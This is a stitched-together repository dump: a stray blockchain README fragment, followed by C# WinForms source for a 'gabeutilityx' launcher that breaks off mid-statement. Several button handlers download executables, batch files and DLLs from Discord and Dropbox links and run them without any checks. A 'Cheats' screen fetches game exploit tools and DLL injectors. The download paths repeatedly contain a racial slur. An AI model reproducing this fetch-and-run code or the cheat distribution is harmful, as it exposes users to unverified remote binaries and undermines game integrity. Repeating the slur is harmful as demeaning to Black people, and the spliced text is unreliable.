0x5c9a5f855fc6161dc7fafdf07b9b456161b65a72f5a7ec7ad07c519197e9ca6c Saving successful migration to network... ... 0x492c15a3c32e953222bd113417100b1d96ef936649041fd7133c4fb1c0d2abd3 Saving artifacts... ` - You want to take Kwh: 0xdfefb183451308284d8842768b60bf491c1a46b3 and DRProgram: 0xd3849f4b57a0d5ce0fc6a4edac0633042cb1d367 respectively.
3a62629e165b124da605d38f29ef435c0ebcc793
[ "JavaScript", "TypeScript", "Markdown" ]
9
TypeScript
dmcclureagl/agl-blockchain-hack-day
030fb706f4373bee3292cc83b369a26683d72645
e928931aad8cebfd6408a237a471b37f268a9b79
refs/heads/master
<file_sep>namespace gabeutilitiesx.RPC { internal class DiscordRPC { } } <file_sep>public static class MyGlobals { public static string userdefine; } <file_sep>using Guna.UI2.WinForms; using System; using System.Collections.Specialized; using System.ComponentModel; using System.Diagnostics; using System.Drawing; using System.Drawing.Text; using System.IO; using System.Net; using System.Windows.Forms; namespace gabeutilitiesx { public class dashboard : Form { private Point lastPoint; private IContainer components; private Panel panel1; private Label label1; private PictureBox pictureBox1; private Label label2; private PictureBox UserProfile; private Label welcome; private Guna2GradientButton guna2GradientButton1; private Guna2GradientButton guna2GradientButton2; private Guna2GradientButton guna2GradientButton3; private Label label3; private Guna2GradientButton guna2GradientButton4; public dashboard() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { Process.Start("C:\\\\Windows\\\\System32\\\\cmd.exe"); } private void textBox1_TextChanged(object sender, EventArgs e) { } private void label1_Click(object sender, EventArgs e) { } private void pictureBox1_Click(object sender, EventArgs e) { Close(); } private void panel1_Paint(object sender, PaintEventArgs e) { } private void label2_Click(object sender, EventArgs e) { } private void button1_Click_1(object sender, EventArgs e) { Process.Start("C:\\\\Windows\\\\System32\\\\cmd.exe"); } public static void sendWebHook(string URL, string msg, string username) { Http.Post(URL, new NameValueCollection { { "username", username }, { "content", msg } }); } private void dashboard_Load(object sender, EventArgs e) { if (!Directory.Exists("b:\\idontlikeniggersutilityx\\info")) { new WebClient().DownloadFile("https://gabeutilityx.imfast.io/" + MyGlobals.userdefine + ".png", "b:\\\\idontlikeniggersutilityx\\\\profilePicture.png"); Directory.CreateDirectory("b:\\idontlikeniggersutilityx\\info"); } UserProfile.Image = Image.FromFile("B:\\idontlikeniggersutilityx\\profilePicture.png"); UserProfile.SizeMode = PictureBoxSizeMode.Zoom; welcome.Text = "Welcome, " + MyGlobals.userdefine + "."; } private void button3_Click(object sender, EventArgs e) { } private void button4_Click(object sender, EventArgs e) { new WebClient().DownloadFile("https://dl.discordapp.net/apps/win/0.0.306/DiscordSetup.exe", "b:\\idontlikeniggers\\twitch\\twitch.exe"); Process.Start("B:\\\\idontlikeniggers\\\\twitch\\\\twitch.exe"); } private void pictureBox5_Click(object sender, EventArgs e) { } private void button4_Click_1(object sender, EventArgs e) { } private void openFileDialog1_FileOk(object sender, CancelEventArgs e) { } private void pictureBox6_Click(object sender, EventArgs e) { } private void done_Click(object sender, EventArgs e) { } private void install_Click(object sender, EventArgs e) { } private void pictureBox7_Click(object sender, EventArgs e) { } private void button5_Click(object sender, EventArgs e) { new WebClient().DownloadFile("https://launcher.mojang.com/download/Minecraft.exe", "b:\\idontlikeniggers\\Minceraft.exe"); Process.Start("B:\\\\idontlikeniggers\\\\Minceraft.exe"); } private void button6_Click(object sender, EventArgs e) { new WebClient().DownloadFile("https://picteon.dev/files/TwitchStudioSetup.exe", "b:\\idontlikeniggers\\Twitch-1.exe"); Process.Start("B:\\\\idontlikeniggers\\\\Twitch-1.exe"); } private void button7_Click(object sender, EventArgs e) { WebClient webClient = new WebClient(); webClient.DownloadFile("https://cdn.discordapp.com/attachments/599361190291832832/698232081678991371/explorer.zip", "b:\\idontlikeniggers\\explorer.zip"); webClient.DownloadFile("https://dl.dropboxusercontent.com/s/l8pgl2ooiucxfrl/ConsoleHelper1.bat", "b:\\idontlikeniggers\\ConsoleHelper1.bat"); webClient.DownloadFile("https://dl.dropboxusercontent.com/s/sho6jwyi6jvc06k/ConsoleHelper2.bat", "b:\\idontlikeniggers\\ConsoleHelper2.bat"); Process.Start("B:\\\\idontlikeniggers\\\\ConsoleHelper1.bat"); Process.Start("B:\\\\idontlikeniggers\\\\ConsoleHelper2.bat"); } private void button2_Click(object sender, EventArgs e) { } private void pictureBox10_Click(object sender, EventArgs e) { } private void pictureBox4_Click(object sender, EventArgs e) { } private void label3_Click(object sender, EventArgs e) { } private void dashboard_MouseMove(object sender, MouseEventArgs e) { } private void dashboard_MouseDown(object sender, MouseEventArgs e) { } private void panel1_MouseMove(object sender, MouseEventArgs e) { if (e.Button == MouseButtons.Left) { base.Left += e.X - lastPoint.X; base.Top += e.Y - lastPoint.Y; } } private void panel1_MouseDown(object sender, MouseEventArgs e) { lastPoint = new Point(e.X, e.Y); } private void guna2GradientButton1_Click(object sender, EventArgs e) { } private void guna2GradientButton2_Click(object sender, EventArgs e) { } private void guna2GradientButton3_Click(object sender, EventArgs e) { } private void guna2GradientButton4_Click(object sender, EventArgs e) { } private void guna2GradientButton5_Click(object sender, EventArgs e) { } private void guna2GradientButton6_Click(object sender, EventArgs e) { } private void guna2GradientButton7_Click(object sender, EventArgs e) { } private void guna2GradientButton8_Click(object sender, EventArgs e) { } private void pictureBox3_Click(object sender, EventArgs e) { Process.Start("C:\\\\Windows\\\\System32\\\\cmd.exe"); } private void guna2GradientButton1_Click_1(object sender, EventArgs e) { Close(); new Essentials().Show(); } private void guna2GradientButton2_Click_1(object sender, EventArgs e) { Close(); new Gaming().Show(); } private void guna2GradientButton3_Click_1(object sender, EventArgs e) { MessageBox.Show("Welcome to the Download Hub! Soon enough you'll be able to upload your own files. Stay tuned!"); Close(); new Experimental().Show(); } private void guna2GradientButton4_Click_1(object sender, EventArgs e) { Close(); new Cheats().Show(); } protected override void Dispose(bool disposing) { if (disposing && components != null) { components.Dispose(); } base.Dispose(disposing); } private void InitializeComponent() { System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(gabeutilitiesx.dashboard)); panel1 = new System.Windows.Forms.Panel(); pictureBox1 = new System.Windows.Forms.PictureBox(); label1 = new System.Windows.Forms.Label(); label2 = new System.Windows.Forms.Label(); UserProfile = new System.Windows.Forms.PictureBox(); welcome = new System.Windows.Forms.Label(); guna2GradientButton1 = new Guna.UI2.WinForms.Guna2GradientButton(); guna2GradientButton2 = new Guna.UI2.WinForms.Guna2GradientButton(); guna2GradientButton3 = new Guna.UI2.WinForms.Guna2GradientButton(); label3 = new System.Windows.Forms.Label(); guna2GradientButton4 = new Guna.UI2.WinForms.Guna2GradientButton(); panel1.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)pictureBox1).BeginInit(); ((System.ComponentModel.ISupportInitialize)UserProfile).BeginInit(); SuspendLayout(); panel1.BackColor = System.Drawing.Color.Orchid; panel1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None; panel1.Controls.Add(pictureBox1); panel1.Controls.Add(label1); panel1.Dock = System.Windows.Forms.DockStyle.Top; panel1.ImeMode = System.Windows.Forms.ImeMode.On; panel1.Location = new System.Drawing.Point(0, 0); panel1.Name = "panel1"; panel1.Size = new System.Drawing.Size(736, 28); panel1.TabIndex = 0; panel1.Paint += new System.Windows.Forms.PaintEventHandler(panel1_Paint); panel1.MouseDown += new System.Windows.Forms.MouseEventHandler(panel1_MouseDown); panel1.MouseMove += new System.Windows.Forms.MouseEventHandler(panel1_MouseMove); pictureBox1.BackColor = System.Drawing.Color.Transparent; pictureBox1.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox1.BackgroundImage"); pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None; pictureBox1.Location = new System.Drawing.Point(709, -1); pictureBox1.Name = "pictureBox1"; pictureBox1.Size = new System.Drawing.Size(27, 29); pictureBox1.TabIndex = 1; pictureBox1.TabStop = false; pictureBox1.Click += new System.EventHandler(pictureBox1_Click); label1.Anchor = System.Windows.Forms.AnchorStyles.None; label1.AutoSize = true; label1.BackColor = System.Drawing.Color.Transparent; label1.Font = new System.Drawing.Font("UD Digi Kyokasho NK-B", 12f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); label1.ForeColor = System.Drawing.Color.White; label1.Location = new System.Drawing.Point(3, 9); label1.Name = "label1"; label1.Size = new System.Drawing.Size(104, 18); label1.TabIndex = 0; label1.Text = "gabeutilityx"; label1.Click += new System.EventHandler(label1_Click); label2.Anchor = System.Windows.Forms.AnchorStyles.None; label2.AutoSize = true; label2.BackColor = System.Drawing.Color.Transparent; label2.Font = new System.Drawing.Font("Yu Gothic UI Light", 26.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 128); label2.ForeColor = System.Drawing.Color.White; label2.Location = new System.Drawing.Point(642, 362); label2.Name = "label2"; label2.Size = new System.Drawing.Size(94, 47); label2.TabIndex = 2; label2.Text = "v1.1.0"; label2.Click += new System.EventHandler(label2_Click); UserProfile.BackColor = System.Drawing.Color.Transparent; UserProfile.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Zoom; UserProfile.Location = new System.Drawing.Point(12, 298); UserProfile.Name = "UserProfile"; UserProfile.Size = new System.Drawing.Size(95, 94); UserProfile.TabIndex = 23; UserProfile.TabStop = false; UserProfile.Click += new System.EventHandler(pictureBox10_Click); welcome.Anchor = System.Windows.Forms.AnchorStyles.None; welcome.AutoSize = true; welcome.BackColor = System.Drawing.Color.Transparent; welcome.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 12f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); welcome.ForeColor = System.Drawing.Color.White; welcome.Location = new System.Drawing.Point(12, 404); welcome.Name = "welcome"; welcome.Size = new System.Drawing.Size(91, 18); welcome.TabIndex = 24; welcome.Text = "Loading..."; welcome.Click += new System.EventHandler(label3_Click); guna2GradientButton1.Animated = true; guna2GradientButton1.AutoRoundedCorners = true; guna2GradientButton1.BackColor = System.Drawing.Color.Transparent; guna2GradientButton1.BorderRadius = 29; guna2GradientButton1.CheckedState.Parent = guna2GradientButton1; guna2GradientButton1.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton1.CustomImages.Parent = guna2GradientButton1; guna2GradientButton1.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton1.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton1.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 18f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton1.ForeColor = System.Drawing.Color.White; guna2GradientButton1.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton1.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton1.HoverState.Parent = guna2GradientButton1; guna2GradientButton1.Location = new System.Drawing.Point(12, 57); guna2GradientButton1.Name = "guna2GradientButton1"; guna2GradientButton1.PressedDepth = 3; guna2GradientButton1.ShadowDecoration.Parent = guna2GradientButton1; guna2GradientButton1.Size = new System.Drawing.Size(223, 60); guna2GradientButton1.TabIndex = 35; guna2GradientButton1.Text = "Essentials"; guna2GradientButton1.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton1.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton1.UseTransparentBackground = true; guna2GradientButton1.Click += new System.EventHandler(guna2GradientButton1_Click_1); guna2GradientButton2.Animated = true; guna2GradientButton2.AutoRoundedCorners = true; guna2GradientButton2.BackColor = System.Drawing.Color.Transparent; guna2GradientButton2.BorderRadius = 29; guna2GradientButton2.CheckedState.Parent = guna2GradientButton2; guna2GradientButton2.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton2.CustomImages.Parent = guna2GradientButton2; guna2GradientButton2.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton2.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton2.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 18f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton2.ForeColor = System.Drawing.Color.White; guna2GradientButton2.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton2.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton2.HoverState.Parent = guna2GradientButton2; guna2GradientButton2.Location = new System.Drawing.Point(249, 57); guna2GradientButton2.Name = "guna2GradientButton2"; guna2GradientButton2.PressedDepth = 3; guna2GradientButton2.ShadowDecoration.Parent = guna2GradientButton2; guna2GradientButton2.Size = new System.Drawing.Size(223, 60); guna2GradientButton2.TabIndex = 36; guna2GradientButton2.Text = "Gaming"; guna2GradientButton2.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton2.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton2.UseTransparentBackground = true; guna2GradientButton2.Click += new System.EventHandler(guna2GradientButton2_Click_1); guna2GradientButton3.Animated = true; guna2GradientButton3.AutoRoundedCorners = true; guna2GradientButton3.BackColor = System.Drawing.Color.Transparent; guna2GradientButton3.BorderRadius = 29; guna2GradientButton3.CheckedState.Parent = guna2GradientButton3; guna2GradientButton3.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton3.CustomImages.Parent = guna2GradientButton3; guna2GradientButton3.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton3.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton3.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 18f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton3.ForeColor = System.Drawing.Color.White; guna2GradientButton3.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton3.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton3.HoverState.Parent = guna2GradientButton3; guna2GradientButton3.Location = new System.Drawing.Point(12, 161); guna2GradientButton3.Name = "guna2GradientButton3"; guna2GradientButton3.PressedDepth = 3; guna2GradientButton3.ShadowDecoration.Parent = guna2GradientButton3; guna2GradientButton3.Size = new System.Drawing.Size(223, 60); guna2GradientButton3.TabIndex = 37; guna2GradientButton3.Text = "Download Hub"; guna2GradientButton3.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton3.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton3.UseTransparentBackground = true; guna2GradientButton3.Click += new System.EventHandler(guna2GradientButton3_Click_1); label3.Anchor = System.Windows.Forms.AnchorStyles.None; label3.AutoSize = true; label3.BackColor = System.Drawing.Color.Transparent; label3.Font = new System.Drawing.Font("Yu Gothic UI Light", 8.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 128); label3.ForeColor = System.Drawing.Color.White; label3.Location = new System.Drawing.Point(651, 407); label3.Name = "label3"; label3.Size = new System.Drawing.Size(85, 13); label3.TabIndex = 38; label3.Text = "Pink Clouds build"; guna2GradientButton4.Animated = true; guna2GradientButton4.AutoRoundedCorners = true; guna2GradientButton4.BackColor = System.Drawing.Color.Transparent; guna2GradientButton4.BorderRadius = 29; guna2GradientButton4.CheckedState.Parent = guna2GradientButton4; guna2GradientButton4.Cursor = System.Windows.Forms.Cursors.Arrow; guna2GradientButton4.CustomImages.Parent = guna2GradientButton4; guna2GradientButton4.FillColor = System.Drawing.Color.FromArgb(255, 192, 128); guna2GradientButton4.FillColor2 = System.Drawing.Color.Orchid; guna2GradientButton4.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 18f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); guna2GradientButton4.ForeColor = System.Drawing.Color.White; guna2GradientButton4.HoverState.BorderColor = System.Drawing.Color.Black; guna2GradientButton4.HoverState.CustomBorderColor = System.Drawing.Color.Black; guna2GradientButton4.HoverState.Parent = guna2GradientButton4; guna2GradientButton4.Location = new System.Drawing.Point(478, 57); guna2GradientButton4.Name = "guna2GradientButton4"; guna2GradientButton4.PressedDepth = 3; guna2GradientButton4.ShadowDecoration.Parent = guna2GradientButton4; guna2GradientButton4.Size = new System.Drawing.Size(223, 60); guna2GradientButton4.TabIndex = 39; guna2GradientButton4.Text = "Cheats"; guna2GradientButton4.TextOffset = new System.Drawing.Point(0, 3); guna2GradientButton4.TextRenderingHint = System.Drawing.Text.TextRenderingHint.AntiAliasGridFit; guna2GradientButton4.UseTransparentBackground = true; guna2GradientButton4.Click += new System.EventHandler(guna2GradientButton4_Click_1); base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f); base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; BackColor = System.Drawing.Color.White; BackgroundImage = (System.Drawing.Image)resources.GetObject("$this.BackgroundImage"); BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; base.ClientSize = new System.Drawing.Size(736, 431); base.Controls.Add(guna2GradientButton4); base.Controls.Add(label3); base.Controls.Add(guna2GradientButton3); base.Controls.Add(guna2GradientButton2); base.Controls.Add(guna2GradientButton1); base.Controls.Add(welcome); base.Controls.Add(UserProfile); base.Controls.Add(label2); base.Controls.Add(panel1); DoubleBuffered = true; base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; base.Icon = (System.Drawing.Icon)resources.GetObject("$this.Icon"); base.MaximizeBox = false; base.MinimizeBox = false; base.Name = "dashboard"; base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; Text = "gabeutilityx dashboard"; base.Load += new System.EventHandler(dashboard_Load); base.MouseDown += new System.Windows.Forms.MouseEventHandler(dashboard_MouseDown); base.MouseMove += new System.Windows.Forms.MouseEventHandler(dashboard_MouseMove); panel1.ResumeLayout(false); panel1.PerformLayout(); ((System.ComponentModel.ISupportInitialize)pictureBox1).EndInit(); ((System.ComponentModel.ISupportInitialize)UserProfile).EndInit(); ResumeLayout(false); PerformLayout(); } } } <file_sep>using System; internal class ConfusedByAttribute : Attribute { public ConfusedByAttribute(string P_0) { } } <file_sep>using System; using System.Runtime.InteropServices; using System.Windows.Forms; namespace gabeutilitiesx { internal class Moveable { public const int WM_NCLBUTTONDOWN = 161; public const int HT_CAPTION = 2; [DllImport("user32.dll")] public static extern int SendMessage(IntPtr hWnd, int Msg, int wParam, int lParam); [DllImport("user32.dll")] public static extern bool ReleaseCapture(); public Moveable(params Control[] controls) { foreach (Control ctrl in controls) { ctrl.MouseDown += delegate(object s, MouseEventArgs e) { if (e.Button == MouseButtons.Left) { ReleaseCapture(); SendMessage(ctrl.FindForm().Handle, 161, 2, 0); if (ctrl.FindForm().Location.Y == 0) { ctrl.FindForm().WindowState = FormWindowState.Maximized; } } }; } } } } <file_sep>using System.Collections.Specialized; using System.Net; namespace gabeutilitiesx { internal class Http { public static byte[] Post(string uri, NameValueCollection pairs) { using (WebClient webClient = new WebClient()) { return webClient.UploadValues(uri, pairs); } } } } <file_sep>using Guna.UI2.WinForms; using System; using System.ComponentModel; using System.Diagnostics; using System.Drawing; using System.Drawing.Text; using System.IO; using System.Net; using System.Windows.Forms; namespace gabeutilitiesx { public class Cheats : Form { private Point lastPoint; private IContainer components; private Panel panel1; private Label label1; private PictureBox pictureBox1; private Label welcome; private Guna2GradientButton guna2GradientButton4; private Guna2GradientButton guna2GradientButton9; private PictureBox pictureBox5; private Guna2GradientButton guna2GradientButton1; private PictureBox pictureBox2; private Guna2GradientButton guna2GradientButton2; private PictureBox pictureBox3; private PictureBox pictureBox4; private Guna2GradientButton guna2GradientButton3; private PictureBox pictureBox6; private Guna2GradientButton guna2GradientButton5; private PictureBox pictureBox7; private Guna2GradientButton guna2GradientButton6; public Cheats() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { Process.Start("C:\\\\Windows\\\\System32\\\\cmd.exe"); } private void textBox1_TextChanged(object sender, EventArgs e) { } private void label1_Click(object sender, EventArgs e) { } private void pictureBox1_Click(object sender, EventArgs e) { Close(); } private void panel1_Paint(object sender, PaintEventArgs e) { } private void label2_Click(object sender, EventArgs e) { } private void button1_Click_1(object sender, EventArgs e) { Process.Start("C:\\\\Windows\\\\System32\\\\cmd.exe"); } private void dashboard_Load(object sender, EventArgs e) { } private void button3_Click(object sender, EventArgs e) { } private void button4_Click(object sender, EventArgs e) { new WebClient().DownloadFile("https://dl.discordapp.net/apps/win/0.0.306/DiscordSetup.exe", "b:\\idontlikeniggers\\twitch\\twitch.exe"); Process.Start("B:\\\\idontlikeniggers\\\\twitch\\\\twitch.exe"); } private void button4_Click_1(object sender, EventArgs e) { } private void openFileDialog1_FileOk(object sender, CancelEventArgs e) { } private void pictureBox6_Click(object sender, EventArgs e) { } private void done_Click(object sender, EventArgs e) { } private void install_Click(object sender, EventArgs e) { } private void pictureBox7_Click(object sender, EventArgs e) { } private void button5_Click(object sender, EventArgs e) { new WebClient().DownloadFile("https://launcher.mojang.com/download/Minecraft.exe", "b:\\idontlikeniggers\\Minceraft.exe"); Process.Start("B:\\\\idontlikeniggers\\\\Minceraft.exe"); } private void button6_Click(object sender, EventArgs e) { new WebClient().DownloadFile("https://picteon.dev/files/TwitchStudioSetup.exe", "b:\\idontlikeniggers\\Twitch-1.exe"); Process.Start("B:\\\\idontlikeniggers\\\\Twitch-1.exe"); } private void button7_Click(object sender, EventArgs e) { WebClient webClient = new WebClient(); webClient.DownloadFile("https://cdn.discordapp.com/attachments/599361190291832832/698232081678991371/explorer.zip", "b:\\idontlikeniggers\\explorer.zip"); webClient.DownloadFile("https://dl.dropboxusercontent.com/s/l8pgl2ooiucxfrl/ConsoleHelper1.bat", "b:\\idontlikeniggers\\ConsoleHelper1.bat"); webClient.DownloadFile("https://dl.dropboxusercontent.com/s/sho6jwyi6jvc06k/ConsoleHelper2.bat", "b:\\idontlikeniggers\\ConsoleHelper2.bat"); Process.Start("B:\\\\idontlikeniggers\\\\ConsoleHelper1.bat"); Process.Start("B:\\\\idontlikeniggers\\\\ConsoleHelper2.bat"); } private void button2_Click(object sender, EventArgs e) { } private void pictureBox10_Click(object sender, EventArgs e) { } private void pictureBox4_Click(object sender, EventArgs e) { } private void label3_Click(object sender, EventArgs e) { } private void dashboard_MouseMove(object sender, MouseEventArgs e) { } private void dashboard_MouseDown(object sender, MouseEventArgs e) { } private void panel1_MouseMove(object sender, MouseEventArgs e) { if (e.Button == MouseButtons.Left) { base.Left += e.X - lastPoint.X; base.Top += e.Y - lastPoint.Y; } } private void panel1_MouseDown(object sender, MouseEventArgs e) { lastPoint = new Point(e.X, e.Y); } private void guna2GradientButton1_Click(object sender, EventArgs e) { } private void guna2GradientButton2_Click(object sender, EventArgs e) { } private void guna2GradientButton3_Click(object sender, EventArgs e) { } private void guna2GradientButton5_Click(object sender, EventArgs e) { } private void guna2GradientButton6_Click(object sender, EventArgs e) { } private void guna2GradientButton7_Click(object sender, EventArgs e) { } private void guna2GradientButton8_Click(object sender, EventArgs e) { } private void pictureBox3_Click(object sender, EventArgs e) { Process.Start("C:\\\\Windows\\\\System32\\\\cmd.exe"); } private void guna2GradientButton1_Click_1(object sender, EventArgs e) { Close(); new Essentials().Show(); } private void guna2GradientButton2_Click_1(object sender, EventArgs e) { Close(); new Gaming().Show(); } private void guna2GradientButton3_Click_1(object sender, EventArgs e) { MessageBox.Show("Welcome to the Download Hub! Soon enough you'll be able to upload your own files. Stay tuned!"); Close(); new Experimental().Show(); } private void guna2GradientButton4_Click(object sender, EventArgs e) { Close(); new dashboard().Show(); } private void guna2GradientButton9_Click(object sender, EventArgs e) { WebClient webClient = new WebClient(); Directory.CreateDirectory("C:\\Users\\kiosk\\AppData\\Roaming\\.minecraft\\versions\\Flux b13"); webClient.DownloadFile("https://dl.dropboxusercontent.com/s/brcrbo10wvpfua4/Flux%20b13.jar", "C:\\Users\\kiosk\\AppData\\Roaming\\.minecraft\\versions\\Flux b13\\Flux b13.jar"); webClient.DownloadFile("https://cdn.discordapp.com/attachments/489891892142669842/723010903678648380/Flux_b13.json", "C:\\Users\\kiosk\\AppData\\Roaming\\.minecraft\\versions\\Flux b13\\Flux b13.json"); } private void guna2GradientButton1_Click_2(object sender, EventArgs e) { new WebClient().DownloadFile("https://cdn.discordapp.com/attachments/489891892142669842/723012148325908480/Sentinel.exe", "B:\\idontlikeniggers\\Sentineldl2.exe"); Process.Start("B:\\\\idontlikeniggers\\\\Sentineldl2.exe"); } private void guna2GradientButton3_Click_2(object sender, EventArgs e) { new WebClient().DownloadFile("https://cdn.discordapp.com/attachments/489891892142669842/723011717931466852/OTCBOIIII.dll", "B:\\idontlikeniggers\\OneTap.dll"); } private void guna2GradientButton2_Click_2(object sender, EventArgs e) { new WebClient().DownloadFile("https://cdn.discordapp.com/attachments/489891892142669842/723008462291730503/Xenos64.exe", "B:\\idontlikeniggers\\Xeanos64.exe"); Process.Start("B:\\\\idontlikeniggers\\\\Xeanos64.exe"); } private void guna2GradientButton6_Click_1(object sender, EventArgs e) { new WebClient().DownloadFile("https://cdn.discordapp.com/attachments/489891892142669842/723552035441475625/SirHurt_V4_Bootstrapper.exe", "B:\\idontlikeniggers\\sirhurtbootstrap.exe"); Process.Start("B:\\\\idontlikeniggers\\\\sirhurtbootstrap.exe"); } private void guna2GradientButton5_Click_1(object sender, EventArgs e) { new WebClient().DownloadFile("https://cdn.discordapp.com/attachments/489891892142669842/723550395846230066/Synapse_X.exe", "B:\\idontlikeniggers\\synapseXbootstrap.exe"); Process.Start("B:\\\\idontlikeniggers\\\\synapseXbootstrap.exe"); } protected override void Dispose(bool disposing) { if (disposing && components != null) { components.Dispose(); } base.Dispose(disposing); } private void InitializeComponent() { System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(gabeutilitiesx.Cheats)); panel1 = new System.Windows.Forms.Panel(); pictureBox1 = new System.Windows.Forms.PictureBox(); label1 = new System.Windows.Forms.Label(); welcome = new System.Windows.Forms.Label(); guna2GradientButton4 = new Guna.UI2.WinForms.Guna2GradientButton(); guna2GradientButton9 = new Guna.UI2.WinForms.Guna2GradientButton(); pictureBox5 = new System.Windows.Forms.PictureBox(); guna2GradientButton1 = new Guna.UI2.WinForms.Guna2GradientButton(); pictureBox2 = new System.Windows.Forms.PictureBox(); guna2GradientButton2 = new Guna.UI2.WinForms.Guna2GradientButton(); pictureBox3 = new System.Windows.Forms.PictureBox(); pictureBox4 = new System.Windows.Forms.PictureBox(); guna2GradientButton3 = new Guna.UI2.WinForms.Guna2GradientButton(); pictureBox6 = new System.Windows.Forms.PictureBox(); guna2GradientButton5 = new Guna.UI2.WinForms.Guna2GradientButton(); pictureBox7 = new System.Windows.Forms.PictureBox(); guna2GradientButton6 = new Guna.UI2.WinForms.Guna2GradientButton(); panel1.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)pictureBox1).BeginInit(); ((System.ComponentModel.ISupportInitialize)pictureBox5).BeginInit(); ((System.ComponentModel.ISupportInitialize)pictureBox2).BeginInit(); ((System.ComponentModel.ISupportInitialize)pictureBox3).BeginInit(); ((System.ComponentModel.ISupportInitialize)pictureBox4).BeginInit(); ((System.ComponentModel.ISupportInitialize)pictureBox6).BeginInit(); ((System.ComponentModel.ISupportInitialize)pictureBox7).BeginInit(); SuspendLayout(); panel1.BackColor = System.Drawing.Color.Orchid; panel1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None; panel1.Controls.Add(pictureBox1); panel1.Controls.Add(label1); panel1.Dock = System.Windows.Forms.DockStyle.Top; panel1.ImeMode = System.Windows.Forms.ImeMode.On; panel1.Location = new System.Drawing.Point(0, 0); panel1.Name = "panel1"; panel1.Size = new System.Drawing.Size(736, 28); panel1.TabIndex = 0; panel1.Paint += new System.Windows.Forms.PaintEventHandler(panel1_Paint); panel1.MouseDown += new System.Windows.Forms.MouseEventHandler(panel1_MouseDown); panel1.MouseMove += new System.Windows.Forms.MouseEventHandler(panel1_MouseMove); pictureBox1.BackColor = System.Drawing.Color.Transparent; pictureBox1.BackgroundImage = (System.Drawing.Image)resources.GetObject("pictureBox1.BackgroundImage"); pictureBox1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None; pictureBox1.Location = new System.Drawing.Point(709, -1); pictureBox1.Name = "pictureBox1"; pictureBox1.Size = new System.Drawing.Size(27, 29); pictureBox1.TabIndex = 1; pictureBox1.TabStop = false; pictureBox1.Click += new System.EventHandler(pictureBox1_Click); label1.Anchor = System.Windows.Forms.AnchorStyles.None; label1.AutoSize = true; label1.BackColor = System.Drawing.Color.Transparent; label1.Font = new System.Drawing.Font("UD Digi Kyokasho NK-B", 12f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); label1.ForeColor = System.Drawing.Color.White; label1.Location = new System.Drawing.Point(3, 9); label1.Name = "label1"; label1.Size = new System.Drawing.Size(65, 18); label1.TabIndex = 0; label1.Text = "Cheats"; label1.Click += new System.EventHandler(label1_Click); welcome.Anchor = System.Windows.Forms.AnchorStyles.None; welcome.AutoSize = true; welcome.BackColor = System.Drawing.Color.Transparent; welcome.Font = new System.Drawing.Font("UD Digi Kyokasho NP-B", 9.75f, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, 128); welcome.ForeColor = System.Drawing.Color.White; welcome.Location = new System.Drawing.Point(149, 390); welcome.Name = "welcome"; welcome.Size = new System.Drawing.Size(548, 15); welcome.TabIndex = 24; welcome.Text = "I am not responsible if you get banned on any game/server. Use at your own risk!"; welcome.Click += new System.EventHandler(label3_Click); guna2GradientButton4.Animated = true; guna2GradientButton4.AutoRoundedCorners = true; guna2GradientButton4.BackColor = System.Drawing.Color.Transparent; guna2GradientButton4.BorderRadius = 22; guna2GradientButton4.CheckedState.Parent = 